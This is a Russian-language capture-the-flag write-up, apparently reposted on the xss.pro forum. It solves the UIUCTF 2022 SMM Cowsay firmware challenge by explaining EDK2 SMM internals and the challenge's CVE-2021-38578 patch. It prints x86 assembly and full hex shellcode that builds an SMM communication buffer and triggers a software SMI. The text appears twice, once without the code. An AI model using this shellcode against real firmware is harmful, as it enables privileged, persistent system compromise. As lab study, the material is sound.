Доброго времени суток, Дамага.
Давно я ничего не писал.., но на днях добрые люди сподвигли меня к написанию данной статьи, другие добрые люди забустили мое погружение в глубины отрицательных колец, щепотку мотивации и появился этот пост =)
За основу я взял
Как по мне то, что нужно для вкатывания в сабж.
Отдельного внимания стоят патчи, которые парни под флагом гугла скромно оставили в папочке с цтф.
Хех, да уж, в корпорации добра/зла (нужное подчеркнуть) знают в чем толк =)
0) Вступление
Разумеется, если бы я пошел тем же самым способом, что описан во врайтапе по ссылке выше - это был бы перевод, а не статья.
Мне, почему-то, нравится писать код так, что бы он решал задачу даже в отличных от исходных условиях. Это не всегда возможно, не редко рисковано, но в контексте цфт допустимо.
И так. Первое что мне следовало сделать - это настроить более-ли-менее удобную для работы отладочную среду. Кстати, это один из важных, как по мне, аспектов - когда люди учатся сугубо на цтф тасках - то в боевых условиях они потом "неподвижны".
Вот такой вот вид приобрел скрипт запуска после коррективов.
На порту 7 появился ожидающий подключения GDB stub - с большой натяжкой его можно назвать аналогом JTAG в конкретном частном контексте текущего таска - так как он позволяет спускаться в область SMM.
на порту 4444 появился qemu-monitor - там можно снять дамп памяти например, сделать снапшот вирты и т.д., может быть полезно.
Последние строчки использовались для трассировки контрол-флоу, что бы первично оценить какие инструкции (вернее мнемоника out) вызывались после каких ключевых чекпоинтов, сколько их было и в какой последовательности.
1) Базовые ведомости про SMM
Первое что я понял, это то, что есть (как минимум) два контекста работы с SMM. Первый контекст - это контекст до RT (run-time) - в нем работают DXE модули. Модули DXE, в свою очередь, работают на нулевом кольце (как ядро линукса).
При переходе в RT - DXE модули (но не все, либо не полностью) выгружаются, а вместо них загружается ядро. Весь такск у нас в DXE контексте.
В UEFI (по EDK2, это очень важно, т.к. фичи EDK2 не прописаны в спеке UEFI, а вендоры придерживаются спека UEFI не всегда) существует свой протоколв виде гномика, которая позволяет воспользоваться встроенным SMM коммуникатором.
Но в глубине души, да и по опыту ядра Линукса, я чувствовал, что все эти слои абстракции должны развернуться в что-то очень простое в пару инструкций. Так оно и получилось.
Грубо говоря, (EDK2) код SMM и код супервизоров (DXE) синхронизирован и написан как единое целое. SW SMI обработчик (код SMM) знает куда ему идти (адрес) за вводными данными, и знает какие у кого зареганы хендлеры.
Кстати, хендлеры бывают глобальные (номера записанные в порты IO, а именно 0xb3 -- аргумент, 0xb2 -- собственно порт-тригер), и те, которые в до RT стейдже зарегает прошивка. Под них выделен, обычно, один какой-то номер (глобальный) и существует отдельная логика (в SMM) которая как-то потом обрабатывает прерывание.
Так же в EDK2 есть свой аллокатор, и свой механизм проверки "легетимности" переданого в SMM комм-хедера.
Комм-хедер - это объект, который содержит GUID адресата, ну и вектор с данными. Что бы достать до SMM обработчиков (пройти проверки) этот объект должен находиться в специальной памяти (EFI_MEMORY_TYPE == EfiRuntimeServicesData == 6).
Позже, если обработчик SW SMI пройдет первичные проверки, то код SMM (что одно и то же) пробежится по связному списку зареганых в DXE стейдже хендлеров, сравнит GUID, и, если найдет нужный, передаст управление в код нужного обработчика.
Обработчики, к слову, так же хранятся в памяти SMM -- SMRAM. Она не доступна из r0, при попытке чтения/записи возвращаются/пишутся другие данные, либо происходит что-то еще, но не то, что нужно.
Указатель на данный объект (Комм-хедер) кладется в специально выделенное (определенное разработчиками) для этих целей место по статичному оффсету 56:
Место это, как я писал выше, задефайнено разрабами и находится в конкретном месте =)
Ну и самое главное, это то, что у всех ключевых объектов в памяти первым делом идет ничто иное, как сигнатура! Причем довольно уникальная, 64 битная. Иногда искомых объектов может быть несколько, так что после нахождения сигнатуры стоит проверить какое-нибудь поле, но это уже слледующий раздел =)
2) Выбор стратегии
Первый вопрос что у меня возник после прочтения врайтапа: а можно не разыменовывать таблицы UEFI, а сделать все прям вот в лоб!? Благо, добрые люди подсказали, что оно-то может и можно, ровно как из буханки белого (или серого) хлеба сделать троллейбус, но зачем?
Так что я ограничился в кол-ве применяемой рефлексии, и свел ее до двух моментов:
а) нахождение таблицы UEFI
б) нахождение коммбуффера.
в) F1R3 SW SMI =D
Честно говоря изначально я вообще хотел обойтись без взаимодействия с табличкой эфи, но из-за проверок адресов на принадлежность комм-буффера к EfiRuntimeServicesData мне пришлось все-же взаимодействовать с местным аллокатором.
Аллокатор, по сути, просто добавляет в связный список новый чанк (тоже есть сигнатура у него,
Собственно, ничего сложного, но есть пару моментов.
3) Переходим к реализации
так что вооружаемся чатом гпт, либо компилятором gcc, либо просто справочником по ASM и вперед.
А для визуализации происходящих событий воспользуемся GDB.
В одном окошке запускаем скрипт run.sh, в другом отладчик. Я использую привычный pwndbg, но тут уже дело вкуса.
отпускаем выполнение командой `
Коровка нам подсказывает адрес системной таблички, но мы и сами с усами, так что воспользуемся только вторым адресом, где будет запущен шелл-код, и поставим а него бряк
`
Далее нам нужно найти таблицу эфи, так что посмотрим в сорцы едк2:
-> EFI_SYSTEM_TABLE <-
начинается она, как порядочная таблица, с хедера
-> EFI_TABLE_HEADER <-
которы, как порядочный хедер, начинается с сигнатуры
-> EFI_SYSTEM_TABLE_SIGNATURE <-
Так что, наша задача найти 8байтный паттерн в диапазоне от 0 до 4GB.
Особенностью будет то, что таблички имеют выравнивание не менее 8 байт, так что это снизит вероятность коллизии, и время необходимое на поиски.
И так, вроде как это оно. Конечно же, такая проверка не самый надежный способ, но для примера хватит за глаза.
Далее нужно выделить буффер и скопировать в него подготовленный комхедер:
плейсхолдеры под pool и combuf находятся ниже, за эпилогом из шелл-кода.
теперь, нужно найти спец. табличку:
спец. табличку мы уже видели, выше. Если она проинициализированна - то в ней будут не нулевым, например, SMRAMRangeCount.
Так же, после SW SMI адрес на комм-буфф сотрется, а в ReturnStatus запишется код возврата.
ну и в принципе все, осталось только заполнить спец. табличку и сгенерировать SW SMI
Теперь идем на шелл-шторм, и генерируем там шелл-код в хексе.
В принципе можно использовать и питоновый pwnlib, но питон с pwnlib есть под рукой не всегда, так что по старинке:
4) Тестируем эксплойт =)
Выполнение остановилось на брейкпоинте в самом начале, в точке входа в шелл-код. Отлично.
Рассмотрим подробнее что произойдет.
поставим бряк на вызов аллокатора:
Как мы видим, в r9 виднеется сигнатура BootServices. Можно было сразу искать и ее, но не принципиально.
Далее, взглянем как у нас получилось найти спец. табличку:
в $rcx линейный адрес, в котором совпал паттерн сигнатуры.
Я подсветил ключевые поля на скриншоте выше, все логично это как раз 3 поля:
Следующая остановка - SW SMI
Верхнеуровнему Питону аж поплохело с таких погружений, но олдскульный GDB держится молодцом =)
Как вы все понимаете, мы схитрили что бы поймать аппаратное прерывание, и записали в аппаратный отладочный регистр адрес, где хранится указатель на комбуфер.
Тогда в момент, где происходит обращение к данной памяти, срабатывает отладочный механизм и мы получаем управление. :3
В общем, смысл ты, думаю, понял.
Вот и все. Вот такой таск получился прикольный.
Миру Мир, Героям Слава!
P.S. У внимательного читателя должен был возникнуть вопрос, почему мы обнулили регистры перед входом в SW SMI.
В кратце: SMM появился за долго до UEFI, и олдовый протокол использовал для передачи аргументов регистры и порты IO.
Так что на всякий случай лучше обнулиться.
Автор: swagcat228
Повторно заPWNено специально для коммьюнити xss.pro (c)
Давно я ничего не писал.., но на днях добрые люди сподвигли меня к написанию данной статьи, другие добрые люди забустили мое погружение в глубины отрицательных колец, щепотку мотивации и появился этот пост =)
За основу я взял
https://toh.necst.it/uiuctf/pwn/system/x86/rop/UIUCTF-2022-SMM-Cowsay/ Как по мне то, что нужно для вкатывания в сабж.
Отдельного внимания стоят патчи, которые парни под флагом гугла скромно оставили в папочке с цтф.
C:
|root@ip106|:{/mnt/handout/chal_build/patches/edk2} #_ bcat -p 0001-PiSmmCore-Fix-for-CVE-2021-38578-integer-underflow.patch
From 6a37b8dacd5b79b2e45b05a354d4a6499e7ab295 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Fri, 24 Jun 2022 21:19:02 -0700
Subject: [PATCH 1/5] PiSmmCore: Fix for CVE-2021-38578 integer underflow
Vanilla EDK-II does not seem to be exploitable, since the BufferSize
gets checked again by individual SMM modules. Patch it here anyways
since it's not how you are going to solve the chal.
This is not how upstream patched this CVE. Upstream seemed to have
never did anything. I'm guessing this is due to a lack of a
compiler-independent way to check for underflows?
Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
MdeModulePkg/Core/PiSmmCore/PiSmmCore.c | 8 +++++++-
1 file changed, 7 insertions(+), 1 deletion(-)
diff --git a/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c b/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c
index 9e5c6cbe33..b3faa9434f 100644
--- a/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c
+++ b/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c
@@ -651,6 +651,7 @@ SmmEntryPoint (
EFI_SMM_COMMUNICATE_HEADER *CommunicateHeader;
BOOLEAN InLegacyBoot;
BOOLEAN IsOverlapped;
+ BOOLEAN BufferSizeUnderflow;
VOID *CommunicationBuffer;
UINTN BufferSize;
@@ -699,7 +700,12 @@ SmmEntryPoint (
(UINT8 *)gSmmCorePrivate,
sizeof (*gSmmCorePrivate)
);
- if (!SmmIsBufferOutsideSmmValid ((UINTN)CommunicationBuffer, BufferSize) || IsOverlapped) {
+ BufferSizeUnderflow = __builtin_sub_overflow_p (
+ BufferSize,
+ OFFSET_OF (EFI_SMM_COMMUNICATE_HEADER, Data),
+ BufferSize
+ );
+ if (!SmmIsBufferOutsideSmmValid ((UINTN)CommunicationBuffer, BufferSize) || IsOverlapped || BufferSizeUnderflow) {
//
// If CommunicationBuffer is not in valid address scope,
// or there is overlap between gSmmCorePrivate and CommunicationBuffer,
--
2.35.1
Хех, да уж, в корпорации добра/зла (нужное подчеркнуть) знают в чем толк =)
0) Вступление
Разумеется, если бы я пошел тем же самым способом, что описан во врайтапе по ссылке выше - это был бы перевод, а не статья.
Мне, почему-то, нравится писать код так, что бы он решал задачу даже в отличных от исходных условиях. Это не всегда возможно, не редко рисковано, но в контексте цфт допустимо.
И так. Первое что мне следовало сделать - это настроить более-ли-менее удобную для работы отладочную среду. Кстати, это один из важных, как по мне, аспектов - когда люди учатся сугубо на цтф тасках - то в боевых условиях они потом "неподвижны".
Вот такой вот вид приобрел скрипт запуска после коррективов.
На порту 7 появился ожидающий подключения GDB stub - с большой натяжкой его можно назвать аналогом JTAG в конкретном частном контексте текущего таска - так как он позволяет спускаться в область SMM.
на порту 4444 появился qemu-monitor - там можно снять дамп памяти например, сделать снапшот вирты и т.д., может быть полезно.
Последние строчки использовались для трассировки контрол-флоу, что бы первично оценить какие инструкции (вернее мнемоника out) вызывались после каких ключевых чекпоинтов, сколько их было и в какой последовательности.
1) Базовые ведомости про SMM
Первое что я понял, это то, что есть (как минимум) два контекста работы с SMM. Первый контекст - это контекст до RT (run-time) - в нем работают DXE модули. Модули DXE, в свою очередь, работают на нулевом кольце (как ядро линукса).
При переходе в RT - DXE модули (но не все, либо не полностью) выгружаются, а вместо них загружается ядро. Весь такск у нас в DXE контексте.
В UEFI (по EDK2, это очень важно, т.к. фичи EDK2 не прописаны в спеке UEFI, а вендоры придерживаются спека UEFI не всегда) существует свой протокол
mSmmCommunication - это сущность Но в глубине души, да и по опыту ядра Линукса, я чувствовал, что все эти слои абстракции должны развернуться в что-то очень простое в пару инструкций. Так оно и получилось.
Грубо говоря, (EDK2) код SMM и код супервизоров (DXE) синхронизирован и написан как единое целое. SW SMI обработчик (код SMM) знает куда ему идти (адрес) за вводными данными, и знает какие у кого зареганы хендлеры.
Кстати, хендлеры бывают глобальные (номера записанные в порты IO, а именно 0xb3 -- аргумент, 0xb2 -- собственно порт-тригер), и те, которые в до RT стейдже зарегает прошивка. Под них выделен, обычно, один какой-то номер (глобальный) и существует отдельная логика (в SMM) которая как-то потом обрабатывает прерывание.
https://nixhacker.com/digging-into-smm/ вот тут можно будет ознакомиться более детально.Так же в EDK2 есть свой аллокатор, и свой механизм проверки "легетимности" переданого в SMM комм-хедера.
Комм-хедер - это объект, который содержит GUID адресата, ну и вектор с данными. Что бы достать до SMM обработчиков (пройти проверки) этот объект должен находиться в специальной памяти (EFI_MEMORY_TYPE == EfiRuntimeServicesData == 6).
Позже, если обработчик SW SMI пройдет первичные проверки, то код SMM (что одно и то же) пробежится по связному списку зареганых в DXE стейдже хендлеров, сравнит GUID, и, если найдет нужный, передаст управление в код нужного обработчика.
Обработчики, к слову, так же хранятся в памяти SMM -- SMRAM. Она не доступна из r0, при попытке чтения/записи возвращаются/пишутся другие данные, либо происходит что-то еще, но не то, что нужно.
Указатель на данный объект (Комм-хедер) кладется в специально выделенное (определенное разработчиками) для этих целей место по статичному оффсету 56:
Место это, как я писал выше, задефайнено разрабами и находится в конкретном месте =)
Ну и самое главное, это то, что у всех ключевых объектов в памяти первым делом идет ничто иное, как сигнатура! Причем довольно уникальная, 64 битная. Иногда искомых объектов может быть несколько, так что после нахождения сигнатуры стоит проверить какое-нибудь поле, но это уже слледующий раздел =)
2) Выбор стратегии
Первый вопрос что у меня возник после прочтения врайтапа: а можно не разыменовывать таблицы UEFI, а сделать все прям вот в лоб!? Благо, добрые люди подсказали, что оно-то может и можно, ровно как из буханки белого (или серого) хлеба сделать троллейбус, но зачем?
Так что я ограничился в кол-ве применяемой рефлексии, и свел ее до двух моментов:
а) нахождение таблицы UEFI
б) нахождение коммбуффера.
в) F1R3 SW SMI =D
Честно говоря изначально я вообще хотел обойтись без взаимодействия с табличкой эфи, но из-за проверок адресов на принадлежность комм-буффера к EfiRuntimeServicesData мне пришлось все-же взаимодействовать с местным аллокатором.
Аллокатор, по сути, просто добавляет в связный список новый чанк (тоже есть сигнатура у него,
mmap\0\0\0\0) и, в принципе, этого достаточно что бы в обработчике SW SMI позже определить, были ли эти данные переданы из легетимного буффера, или нет.Собственно, ничего сложного, но есть пару моментов.
3) Переходим к реализации
- Ну что, нам надо будет написать шелл-код который:
- запустится в контексте r0,
- найдет табличку UEFI,
- найдет спец. объект SMM_CORE_PRIVATE_DATA,
- выделит спец. память EfiRuntimeServicesData,
- скопирует в нее пейлоад в формате EFI_SMM_COMMUNICATE_HEADER,
- запишет указатель вектора и размер в спец. место,
- и в принципе, сгенирирует SW SMI.
так что вооружаемся чатом гпт, либо компилятором gcc, либо просто справочником по ASM и вперед.
А для визуализации происходящих событий воспользуемся GDB.
В одном окошке запускаем скрипт run.sh, в другом отладчик. Я использую привычный pwndbg, но тут уже дело вкуса.
отпускаем выполнение командой `
c` и дожидаемся коровку
Коровка нам подсказывает адрес системной таблички, но мы и сами с усами, так что воспользуемся только вторым адресом, где будет запущен шелл-код, и поставим а него бряк
`
b *0x000000000517d100`Далее нам нужно найти таблицу эфи, так что посмотрим в сорцы едк2:
-> EFI_SYSTEM_TABLE <-
начинается она, как порядочная таблица, с хедера
-> EFI_TABLE_HEADER <-
которы, как порядочный хедер, начинается с сигнатуры
-> EFI_SYSTEM_TABLE_SIGNATURE <-
Так что, наша задача найти 8байтный паттерн в диапазоне от 0 до 4GB.
Особенностью будет то, что таблички имеют выравнивание не менее 8 байт, так что это снизит вероятность коллизии, и время необходимое на поиски.
Код:
xor rcx, rcx
mov rsi, 0x5453595320494249
l1:
mov rax, qword ptr [rcx]
cmp rax, rsi
je m1
add rcx, 8
cmp rcx, 0xffffffff+1-0x1000
je notok
jmp l1
m1:
mov r9, qword ptr [rcx+96]
cmp r9, 0
jg l1ok
add rcx, 8
jmp l1
l1ok:
... snipped ...
И так, вроде как это оно. Конечно же, такая проверка не самый надежный способ, но для примера хватит за глаза.
Далее нужно выделить буффер и скопировать в него подготовленный комхедер:
Код:
... snipped ...
mov rbx, qword ptr [r9 + 64]
lea r8, qword ptr [rip+pool]
mov rdx, 0x1000
mov rcx, 6
call rbx
test rax,rax
jnz notok
mov rcx, 32
mov rdi, qword ptr [rip+pool]
lea rsi, qword ptr [rip+combuf]
cld
rep movsb
... snipped ...
теперь, нужно найти спец. табличку:
Код:
... snipped ...
xor r8,r8
xor rcx, rcx
mov rsi, 0x636d6d73
l2:
mov rax, qword ptr [rcx]
cmp rax, rsi
je maybeok
add rcx, 0x10
cmp rcx, 0xffffffff+1-0x1000
je notok
jmp l2
maybeok:
mov r9, qword ptr [rcx+16]
cmp r9, 0
jg ok
add rcx, 0x10
jmp l2
notok:
ud2
ok:
... snipped ...
спец. табличку мы уже видели, выше. Если она проинициализированна - то в ней будут не нулевым, например, SMRAMRangeCount.
Так же, после SW SMI адрес на комм-буфф сотрется, а в ReturnStatus запишется код возврата.
ну и в принципе все, осталось только заполнить спец. табличку и сгенерировать SW SMI
Код:
... snipped .
mov rax, qword ptr [rip+pool]
mov qword ptr [rcx+56], rax
mov qword ptr [rcx+64], 32
xor rax,rax
xor rcx,rcx
xor rdx,rdx
xor r8,r8
xor r9,r9
xor r10,r10
xor rdi,rdi
xor rsi,rsi
nop
out 0xb2, ax
done:
nop
ret
int3
ud2
pool:
.quad 0
combuf:
.octa 0xf79265547535a8b54d102c839a75cf12
.quad 8
.quad 0x44440000
; EOF
Теперь идем на шелл-шторм, и генерируем там шелл-код в хексе.
48 31 c9 48 be 49 42 49 20 53 59 53 54 48 8b 01 48 39 f0 74 06 48 83 c1 08 eb f2 4c 8b 49 60 49 83 f9 00 7f 06 48 83 c1 08 eb e2 49 8b 59 40 4c 8d 05 93 00 00 00 48 c7 c2 00 10 00 00 48 c7 c1 06 00 00 00 ff d3 48 85 c0 75 48 48 c7 c1 20 00 00 00 48 8b 3d 70 00 00 00 48 85 ff 74 35 48 8d 35 6c 00 00 00 fc f3 a4 4d 31 c0 48 31 c9 48 c7 c6 73 6d 6d 63 48 8b 01 48 39 f0 74 06 48 83 c1 10 eb f2 4c 8b 49 10 49 83 f9 00 7f 08 48 83 c1 10 eb e2 0f 0b 48 8b 05 2d 00 00 00 48 89 41 38 48 c7 41 40 20 00 00 00 48 31 c0 48 31 c9 48 31 d2 4d 31 c0 4d 31 c9 4d 31 d2 48 31 ff 48 31 f6 90 66 e7 b2 90 c3 cc 0f 0b 00 00 00 00 00 00 00 00 12 cf 75 9a 83 2c 10 4d b5 a8 35 75 54 65 92 f7 08 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00В принципе можно использовать и питоновый pwnlib, но питон с pwnlib есть под рукой не всегда, так что по старинке:
http://shell-storm.org/online/Online-Assembler-and-Disassembler4) Тестируем эксплойт =)
pwndbg> i b
Код:
1 breakpoint keep y 0x000000000517d100
pwndbg> c
Continuing.
Breakpoint 1, 0x000000000517d100 in ?? ()
Выполнение остановилось на брейкпоинте в самом начале, в точке входа в шелл-код. Отлично.
Рассмотрим подробнее что произойдет.
поставим бряк на вызов аллокатора:
Как мы видим, в r9 виднеется сигнатура BootServices. Можно было сразу искать и ее, но не принципиально.
Далее, взглянем как у нас получилось найти спец. табличку:
в $rcx линейный адрес, в котором совпал паттерн сигнатуры.
Я подсветил ключевые поля на скриншоте выше, все логично это как раз 3 поля:
CommunicationBuffer, BufferSize, ReturnStatus.Следующая остановка - SW SMI
Верхнеуровнему Питону аж поплохело с таких погружений, но олдскульный GDB держится молодцом =)
Как вы все понимаете, мы схитрили что бы поймать аппаратное прерывание, и записали в аппаратный отладочный регистр адрес, где хранится указатель на комбуфер.
Тогда в момент, где происходит обращение к данной памяти, срабатывает отладочный механизм и мы получаем управление. :3
В общем, смысл ты, думаю, понял.
Вот и все. Вот такой таск получился прикольный.
Миру Мир, Героям Слава!
P.S. У внимательного читателя должен был возникнуть вопрос, почему мы обнулили регистры перед входом в SW SMI.
В кратце: SMM появился за долго до UEFI, и олдовый протокол использовал для передачи аргументов регистры и порты IO.
Так что на всякий случай лучше обнулиться.
Автор: swagcat228
Повторно заPWNено специально для коммьюнити xss.pro (c)